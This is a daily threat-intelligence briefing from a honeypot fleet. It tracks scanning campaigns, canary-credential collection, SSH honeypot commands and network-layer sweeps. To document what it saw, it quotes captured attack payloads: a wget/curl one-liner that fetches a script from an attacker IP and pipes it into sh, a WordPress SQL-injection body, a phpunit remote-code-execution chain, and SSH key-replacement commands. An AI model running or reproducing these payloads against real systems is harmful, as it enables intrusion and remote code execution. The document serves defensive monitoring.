FLUX FLEET — INTEL BRIEFING №34

Period: 2026-09-26 07:34 – 2026-09-27 07:34 UTC (24h, day 32 of operations)
Sources: 8 honeypot nodes (frantech-ts also runs non-flux ssh/telnet honeypots whose condensed feed lands in /data/hp-logs and is NOT part of this report) — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (differential baseline), ru-edge-1 (Russia), lauterbourg-01-ts (Kiteworks TLS profile, second full window, still no mints), netcup-ts + sponge-01-ts + frantech-ts (deception-only, no canaries)
Network layer: Arkime on spark (the fleet's own pcap sensors) — step 3c, the only view of sweeps that never request a path
Confidence: High (direct observation; 32-day baseline; every volume move and spike traced to a source by spot query)

BLUF

MEGA-DICTIONARY ended its two-window pause with a first: two operators from two ASNs replayed byte-identical 13,195-path dictionaries against frantech-ts in one window, and the wordlist grew for the first time since №26 — six first-ever paths, two of them Cobalt Strike-style beacon-loader names. The double replay drove frantech-ts to +113% while every other sensor fell 23–89% against census-inflated baselines. Sensors minted 66 issued rows — 52 credentials to 21 collectors on the Tracebit side — and none reached AWS: the tenth consecutive zero-use window. The Feo Prest family escalated: standing collector 213.209.159.175 took 20 more mints in its 22nd window, and sibling 213.209.159.154 ran synchronized 240-path passes on six nodes and minted on three of them. LIBREDTAIL-KIT ran its 16th window on 10 fresh IPs; all captured dropper bodies still stage from 217.60.103.56 with argument apache.

Key Judgements

1. The MEGA-DICTIONARY manifest is an actively maintained shared artifact again, and it now carries beacon-loader naming. Two hosts — 23.234.117.146 (tzulo, US; the №23 operator's ASN) at 10:53 and 193.32.126.191 (31173 Services AB, FR) at 00:44 — each ran 13,195 GETs over 13,195 distinct paths, 52 s and 1 m 54 s. The two path sets are identical. Anti-join against full fleet history shows six first-ever paths: /beacon_linux_amd64_p_7b574e59d96d49, /beacon_linux_amd64_p_dda99b0936c24b, /mass.sh, /lel.sh, /x64s, /mirai.arm64. The №32 freeze at 13,189 is broken; the manifest moved to 13,195 and both operators carried the same update. (High confidence — path sets and the all-time anti-join are exact; only the operator relationship between the two ASNs is inferred.)
2. Feo Prest 213.209.159.154 graduated from census scout to collector. It ran its 240-path pass on frantech (03:41), control (07:33), lauterbourg (13:36), and sponge (19:53) — four identical 243-event passes spread over 16 h — plus 36-path light passes on ru-edge and canary-farm, and drew issued mints on control, canary-farm-1, and ru-edge-1 (3 flux rows; Tracebit dedup counts 2). Six nodes in one window is the widest spread of this IP on record, and its first mints. (Moderate confidence — the synchronization and mint rows are direct observation; whether this is one operator's schedule or shared tooling on one host is unverified.)
3. The hostile-held credential hoard grew to ≈641 with still zero observed use. The six-day Tracebit pull names the same five leaders, now larger: Feo Prest .175 at 81 mints, 45.148.10.171 at 33, OMEGA's 94.154.46.249 at 27, CONFIG-SWEEP's 87.120.104.29 at 24, SS-Net 80.94.95.211 at 16. Ten consecutive zero-use windows is no longer a lull; it is the standing shape of the pipeline, and only AWS-side alerting can close the loop. (High confidence — canary section joins alerts per mint; "no observed use" is the honest claim.)
4. LIBREDTAIL-KIT's IP pool is repeating more than before. Five of this window's 11 active IPs are returns from №28/№33 (45.43.60.98, 167.126.6.183, 69.12.176.117, 102.244.97.185, 129.121.128.211), against single repeats in earlier windows. The kit, the dropper host, and the argument are unchanged; the pool behind them looks smaller. (Moderate confidence — repeat rate is measured across 16 windows, but pool size is inferred from a small sample.)

Active Campaigns (day 32 status)

MEGA-DICTIONARY (IoT dropper-URL dictionary replay) ⟳ — PAUSE LIFTED: 11TH + 12TH REPLAYS, WORDLIST +6 (Hostile, active)

• Actors: 23.234.117.146 (tzulo, inc., US — same ASN as №23's original replay host 23.234.119.20) and 193.32.126.191 (31173 Services AB, FR — №30's replay ASN). Two ASNs, one window, first double on record. Neither IP is a prior replay host: the artifact keeps moving across the operator base.
• TTPs: frantech-ts long-path dictionary replay, unchanged shape: 13,195 GETs, 13,195 distinct paths, no POSTs, 0 mints. The tzulo pass ran 52 s (10:53:24–10:54:16); 31173 ran 1 m 54 s (00:44:43–00:46:37). The +6 delta over the №32 manifest — /beacon_linux_amd64_p_<32-hex> ×2, /mass.sh, /lel.sh, /x64s, /mirai.arm64 — is all first-ever in fleet history. The beacon-loader names are a new build family; the rest reads as generic dropper-staging and Mirai arch naming.
• Assessment: the standing-pause decision is overtaken by events — the manifest froze for exactly one replay cycle and then grew through two ASNs at once. A wordlist that ships staged-beacon paths alongside IoT arch names is a distribution list for more than botnet binaries. The version-tracker rule stands: on each replay, anti-join against the prior set and record family changes. Watch whether tzulo and 31173 alternate on a schedule or converge on one host.

LIBREDTAIL-KIT (phpunit RCE chain, honest UA) ⟳ — 16TH WINDOW, 10 FULL-KIT IPS (Hostile, active)

• Actors: 10 full-kit IPs at 43 events each — 165.99.207.153 and 102.244.97.185 (ru-edge-1), 45.78.224.198 (control-1), 45.43.60.98 (canary-farm-1), 161.132.54.212 (ai-devbox-1), 89.126.211.166 and 31.77.19.10 (netcup-ts), 129.121.128.211, 178.88.115.30, 69.12.176.117 (frantech-ts). Fragment: 167.126.6.183 (frantech-ts, 40 events). Repeats from earlier windows: 45.43.60.98 (№28, №33), 167.126.6.183 (№28), 69.12.176.117 (№33), 102.244.97.185 (№33), 129.121.128.211 (№33).
• TTPs: the registered chain, unchanged: md5("Hello PHPUnit") probe across permuted eval-stdin.php paths, POST /index.php with shell_exec(base64_decode(...)), then the dropper POST. 63 of 74 POST bodies captured, 2 distinct values, all identical to prior windows:

  (wget --no-check-certificate -qO- https://217.60.103.56/sh || curl -sk https://217.60.103.56/sh) | sh -s apache

• Assessment: execution, not credentials — 0 mints in 16 windows. The staging host stayed on 217.60.103.56 since №17. The fleet design (fake webshells answering 200, tarpit 302s) keeps converting each run into fingerprint evidence at zero risk; the repeat-IP trend is the new fact to watch.

Feo Prest census family (213.209.159.175 / 213.209.159.154) ⟳ — .175 AT 22 WINDOWS, .154 ESCALATES (Hostile, active)

• Actors: 213.209.159.175 (Feo Prest SRL, DE; ipsum:3+firehol2) — 22nd consecutive window: 442 events on canary-farm-1 and 20 in-window mints (11 farm, 9 control) in four bursts of 2–3, 81 mints in six days, the fleet's top collector. 213.209.159.154 — six nodes in one window (see Key Judgement 2).
• TTPs: .175's journey mixes /-tarpit cycling with .env-variant walks and a mint-heavy pattern: /.env [issued] riding directly on census bursts. .154 runs byte-identical 240-path passes node to node under a forged MSIE 10.0; yie11 UA, now with mints attached.
• Assessment: one hosting identity, two roles: .175 is the pipeline's most reliable credential collector, .154 its widening census arm that now also collects. Both hold minted credentials with zero observed AWS use — .175's 81-credential six-day balance is the largest single-host hoard on record for this fleet.

INFOCREST-KIT (composite adminer/phpMyAdmin/wp-batch kit) ⟳ — SIXTH OPERATOR, SECOND ONP-MA HOST (Hostile, active)

• Actors: 41.140.17.206 (Office National des Postes, MA) — canary-farm-1, 340 events, 21 trap families, 30 POSTs, 01:54–02:08. Same ISP as NIGHTAGENT's operators and as №23's INFOCREST operator 41.249.4.249; the registry's "ONP MA without shared TTP" note now covers three kits.
• TTPs: the full composite: fake-git walk, /.DS_Store, /whm + /openid_connect/cpanelid, form login, wp-batch SQLi, phpMyAdmin enum (30), Tomcat ..;/ bypass (15), yii2-debug (6), and 9 adminer prod_rw POSTs with a fresh 22-char password. Captured bodies:

  user=root&pass=wrong {"requests": [{"method": "POST", "path": "///"}, {"method": "GET", "path": "/wp/v2/posts/999999?author_exclude=0%29+UNION+SELECT+999999%2C2%2C0x323032302d30312d30312030303a30303a3030%2C...%2CCONCAT%280x7c7c%2CHEX%28CAST%28%28SELECT+0x4f4b%29AS+CHAR%29%29%2C0x7c7c%29%2C... auth[driver]=server&auth[server]=&auth[username]=prod_rw&auth[password]=DqyB8_pHmjI4-bx80al37A&auth[db]=

• Assessment: the template commodity rotates operator and password per run and now mints — 3 issued on canary-farm-1, the kit's first mints since №23's operator. The wp-batch SQLi body stays byte-identical to the registered template; password rotation (22-char class) continues.

SS-PROBE (self-naming canary crawler) ⟳ — FOURTH OPERATOR RETURNS SOLO (Hostile, active)

• Actors: 105.115.10.78 (M247-class JP, second run) — 4 fresh markers + 4 mints on ai-devbox-1, 20:16–20:32. 23.234.77.64 and the №32 originals absent.
• TTPs: unchanged two-step: GET /__ss_probe_<fresh-32-hex>__ (404, python-requests/2.31.0), then one GET /.env (200, minted). All four marker suffixes new.
• Assessment: three of four known operators re-ran the pattern under fresh IPs. The ledger stands at 4 operators / 4 ASNs / one TTP. A fifth operator, or any run with a POST or a second path, still escalates the assessment from farming to staged exfiltration.

REGISTRY-HUNT / LeakIX (l9scan template) ⟳ — 8 FULL-KIT RUNS, LAUTERBOURG SECOND VISIT (Borderline per registry)

• Actors: ai-devbox-1: 167.99.182.39, 138.68.144.227, 164.90.228.79, 146.190.63.48; canary-farm-1: 167.99.181.249, 206.189.225.181, 64.227.70.2, 167.71.175.236 — all DigitalOcean, 41 events each, signatures 850993125b15 (farm) / b07c7bb207b4 (aidev). Plus 142.93.0.66 (DigitalOcean US) on lauterbourg-01-ts with the identical 12-step journey — the node's second l9scan visit — and l9explore/1.2.2 45.138.12.51 on ai-devbox-1 (1 mint) and lauterbourg (2 paths).
• TTPs: the registered WebLogic → Confluence → WHM/cPanel → docker-registry walk, unchanged; 9 mint rows at the 1-per-IP cadence (8 full-kit + 1 l9explore).
• Assessment: the pool holds its ~8-IP cadence and keeps lauterbourg in its target list. Borderline per the registry: public leak-scanning service, report activity, keep out of the criminal set.

OMEGA-SWEEP (/46 pool census, Googlebot forgery) ⟳ — CONTRACTED TO FRANTECH, 0 MINTS (Hostile, active)

• Actors: 94.154.46.247 (two 150-path frantech passes, 300 events, from 07:49) and 94.154.46.243 (150-path frantech pass, 18:12). Pool pass: 94.154.43.60 touched all 8 sensors (9 events × 1 path, 2 on lauterbourg), with .43.146 and .43.125 singles.
• TTPs: the 150-path wordlist on the no-canary node; forged Googlebot/2.1 per template. No trap-node census and no mints this window — /46 output fell from 7 to 0.
• Assessment: the /46 operators' activity now oscillates between trap-node censuses and frantech-only light passes. The six-day hoard view (.249 at 27, .248 at 17, zero use) is unchanged; the pool remains the fleet's model multi-window hoarder.

Lauterbourg census operators (GCP + misc) — WATCH, FIRST WEBSHELL-PROBE ACTIVITY ON THE NEW NODE (Hostile, watch)

• Actors: 34.178.184.243 (Google LLC, NL) — 335 events, 260 paths, 11 trap families in 3 minutes from 07:21; 35.205.254.119 (Google, 1), 81.171.72.135 (Go-http-client, 3), 45.138.12.27 (Tc Datacenter LT, 1).
• TTPs: broad census under forged Chrome/131: 227 not-handled, 13 webshell-probe (owns the node's first-ever result-tag spike of 21), phpMyAdmin, docker-daemon, gravitysmtp families, and 8 of the window's 20 first-seen paths. It also POSTed /login on the Kiteworks decoy 3 times in 60 ms — the decoy's first credential-submission attempts. POST bodies were not captured (bodyPreview NULL), so the submitted content is unmeasured. A second cluster (signature 5aacd0c8529f, 4 IPs, 16 events) loops the Kiteworks login page: 178.16.54.246 (Omegatech NL — same /24 as №24's CREDENTIAL-DRAIN use IP 178.16.54.184), 158.94.210.156, 192.175.111.242 (forged Chrome/154), 136.65.176.14 (CMS-Checker).
• Assessment: the Kiteworks profile drew real credential-attack traffic in week two. The decoy's login surface became a live credential-attack target — a step beyond the asset-tree lure. Capture the /login POST bodies before the next window if the ops repo can deploy that; the current gap is the only blind spot on this node.

Absent / paused this window

• ORACLE-SWEEP — first absence since the №33 un-merge. No Oracle-source census rows. One more miss reads as standing-paused.
• METADATA-HUNT — resumption candidate lapsed: 136.85.48.119 did not return for a third window; 0 @fs/__aws_leak_probe markers fleet-wide.
• CONFIG-SWEEP — no new run. The window's control-1 rows and 6 mints for 87.120.104.29 are the №33 run seen through the 24-h seam; do not count them as new.
• NIGHTAGENT, XMLRPC-BRUTE, AKAMAI-CONFIG, CRUSADER-SWEEP, CURL-SWEEP, ENV-CENSUS-3/4 — no activity.
• Techoff CVE-prober 195.178.110.22 (cve-2026-87902-poc/1.0) — second consecutive window (control + sponge, 9 events each, tarpit-held). Still no exploit path requested.

Standing actors (persistence check)

• 213.209.159.175 (Feo Prest SRL DE) — 22nd consecutive window; 20 mints in-window, 81 in six days. Top collector, unchanged verdict.
• 204.76.203.18 (Pfcloud UG NL, MALWARE-DICT loop) — 21st consecutive window on control-1: 1,378 events, 568 paths, ipsum:2. Loop volume down from 2,141.
• 80.94.95.211 (SS-Net RO, SS-NET TOOLING) — 3 mints on ai-devbox-1, 16 in six days; the 17-window veteran continues.
• 45.148.10.171 (CREDSWEEP-sibling lineage) — fourth consecutive window, 7 mints across farm/aidev/control, 33 in six days. The №33 promotion trigger ("a fourth window makes it its own register row") is met — registered as its own row this cycle.
• 2.27.154.52 (NL) — absent after two consecutive windows; single-IP actor streak broken.
• Benign baseline: 45.139.104.35 (osint-scanner/1.0, 571 events, 4 nodes); 93.174.93.12 (uptime-prober, 5 nodes); 16.5.0.236 (8 nodes, 41 events); 195.182.16.23 (7 nodes); 185.218.86.25 (7 nodes, 73 events, now touching lauterbourg's Kiteworks surface). Ruhr-Uni 185.73.23.162 absent — its cadence swings continue to move netcup/sponge baselines.

Network-layer recon (Arkime) — 2026-09-26 07:34:00 → 2026-09-27 07:34:27 UTC

Fingerprint field ssh.hassh, destination port 22 · 90,931 inbound sessions · fleet IPs: ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, lauterbourg-01-ts 89.116.25.211, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144

Session tags: honeypot 52,697, bahrain-sponge-01-ts 18,082, sensor:bahrain-sponge-01-ts 18,082, frantech-ts 17,629, sensor:frantech-ts 17,629, sensor:lauterbourg-01-ts 15,995

Flagged sweeps (1) — one fingerprint, many networks, single port, no authentication attempted:

• f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 6,340 sessions from 323 source IPs across 163 networks in 56 countries, port 22, avg 4,906 B/session. Networks: AS4766 Korea Telecom, AS8075 Microsoft Corporation, AS16276 OVH SAS, AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS14061 DigitalOcean, LLC. Busiest sources: 185.158.22.150, 180.180.242.201, 222.110.147.56, 20.219.91.90, 203.86.124.222. Last 7 days: 09-21 373 IPs, 09-22 297 IPs, 09-23 351 IPs, 09-24 330 IPs, 09-25 339 IPs, 09-26 321 IPs, 09-27 104 IPs.

Thresholds: dispersed = ≥50 source IPs and ≥20 networks on one port; mass = ≥200 source IPs. Fingerprint identity, never source IP: sweep operators rotate addresses and keep the tool.

Network-layer notes

• LIBSSH-MASSSWEEP holds its plateau for the seventh registered day: 323 IPs / 163 networks / 6,340 sessions, +470 sessions and −1 source against №33. The 09-27 partial count (104) is window censoring, not a drop.
• GO-SPRAY-SWEEP (06ff3615a51b…) missed the ≥5-session floor for the second consecutive window — re-paused per the cadence rule. The №32 reference burst (192 IPs on 09-24) stays the active-phase signature.
• GO-BANNER-SWEEP (594c5787…) stays absent — pause holds.
• The two heavy unregistered single-source clients grew again: 16443846184e… 17,468 sessions (+5,493) across 49 source IPs (+15), and 0a07365cc01f… 16,355 across 35. Together they account for 37% of the window's inbound sessions. Banner characterisation is still pending — the gap carries from №33.
• Sponge-01-ts inbound doubled to 18,082 sessions (session tag now bahrain-sponge-01-ts), the largest per-node count after frantech.
• Lauterbourg-01-ts sits third by inbound source count (15,995 sessions) in its second pcap window.

Fleet Observations

Canary economics. Digest window: 66 issued rows (canary-farm-1 25, ai-devbox-1 20, control-1 18, ru-edge-1 3); the Tracebit-side dedup sees 52 credentials to 21 collectors — the delta is the 24-hour seam cast. Failures: 4 ×400 (farm 3, ru-edge 1), all isolated singles — 194.5.49.56 (new; sibling of №33's collector 194.5.49.12), 213.209.159.175, 102.220.161.139, 91.92.41.6. No burst-speed signature and no key defects. All-time issued rows: 1,814 (visuals counter). Standing hoard ≈641 credentials across named collectors; zero AWS use in ten consecutive windows.

Attribution/TLS posture. XFF counters: any-XFF 797, multi-entry 0, ignored-internal 1, single-entry mismatch 5 — and all five are benign: 3 are the self-labeled metabase-cve-2026-72898-detect/1.0 probes, 2 assert the documentation IP 1.2.3.4 from benign-listed method-fingerprint scanner 162.243.83.227. No hostile forgery this window; no socketPeer pivot warranted. Host census: every node's own address leads its counts; on lauterbourg the bare IP (952) now leads the Kiteworks vhost (634) after №33's vhost-led window — scanners arrive by address first and learn the vhost later. Lauterbourg carried 465 https events, its largest TLS share so far.

Fleet volume moves and their causes. frantech-ts +113% (27,627 vs 12,977) — the two MEGA-DICTIONARY replays alone are 26,390 events. ru-edge-1 −89% (435) — no ORACLE/CONFIG census wave and no forged-identity floods; the window's only activity was light passes (Feo .154, pool .43.60) and two LIBREDTAIL kits. netcup-ts −87% — no Ruhr-Uni pass and no big census. ai-devbox-1 −70% — no METADATA-HUNT runners and no /46 trap-node census. canary-farm-1 −63% — №33's 2,950-event CONFIG-SWEEP minute and OMEGA's 2,100-event census were both absent. sponge-01-ts −73% — no Ruhr-Uni pass; its largest burst (255) is Feo .154's 19:53 pass. control-1 −23% — Pfcloud loop slowed and no census bursts. lauterbourg-01-ts −33% (1,593 events, 153 IPs) — baseline forming; uniq IPs rose 121 → 153 while total events fell.

control-1 discovery velocity. 3,455 events / 105 unique IPs — inside the 62–145 post-fix band for the ninth window. Discovery stays flat; the event decline is per-IP volume, not reach.

SSH/telnet honeypot (frantech-ts — single sensor, not fleet-wide)

Funnel: 609 sources sent credentials → 461 got a shell (76%) → 275 ran a command (60% of shell-getters, 45% of sources). Event level: 9,269 credential attempts → 4,720 accepted logins → 7,565 commands — 160% of accepted logins go on to run something, the highest work-rate in the current baseline.

Seventh consecutive fully static window: zero new commands (0 of 77 distinct). Telnet commodity botnets: 817 attempts. The recurring set is unchanged: the chattr -ia .ssh re-plant family (1,206 events, 232 IPs, led by 112.123.228.180), its companion rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAA…" key-replace (1,048 events, 217 IPs), the uname inventory cluster (1,457 events × 2 variants, 3 IPs, led by 109.160.32.45), and 2.57.122.53's lspci/uptime hardware-recon set (189 events, 4 IPs). Credential pairs: 3,370 distinct, 7 new — all single-attempt commodity pairs (MikroTik/12345678, test/P@ssw0rd1!, www/123qweASD among them). Concentration unchanged: 345gs5662d34/345gs5662d34 and root/3245gs5662d34 keep their records.

Gaps / Next Collection

1. Kiteworks /login POST bodies are not captured (bodyPreview NULL on all 5 POSTs this window). The decoy's auth surface drew real credential attempts in week two — request a capture-path fix in the ops repo before the next window.
2. The two heavy unregistered SSH fingerprints still need banners. 16443846184e… (17,468 sessions, 49 IPs) and 0a07365cc01f… (16,355, 35 IPs) are now 37% of inbound sessions; characterisation is carried over from №33 and should precede any naming.
3. AWS-side alerting remains the only closure on the ≈641-credential hoard. Watch specifically: Feo .175 (81 in six days) and .154 (first mints this window) — a use event from either settles whether the hoard is resale inventory or operator working stock.
4. MEGA-DICTIONARY cadence: two ASNs in one window is new. Record the next replay's operator and diff the path set; the /beacon_linux_amd64_p_* names warrant a watch for a matching handler appearing on any fleet surface.
5. LIBREDTAIL repeat rate: if a 17th window shows the same 5+ repeats, treat the pool as fixed rather than rotating and re-assess the "disposable IP" model.
6. GO-SPRAY-SWEEP needs one more silent window before the re-pause is final in the registry.

Digest: /data/flux-logs/reports/flux-digest-2026-09-27.md
Recon digest: /data/flux-logs/reports/flux-recon-digest-2026-09-27.md
Visuals: /data/flux-logs/reports/flux-fleet-visuals-2026-09-27-r2.html

Watch next cycle: (1) MEGA-DICTIONARY — which ASN replays next, and whether the beacon-loader paths stay in the manifest. (2) CREDENTIAL-DRAIN — the ≈641 hoard (Feo .175 at 81/6d, .154 newly minting) against the tenth zero-use window; any AWS alert is the escalation signal. (3) The two unregistered SSH single-source fingerprints (37% of inbound sessions) — pull banners and name or dismiss them.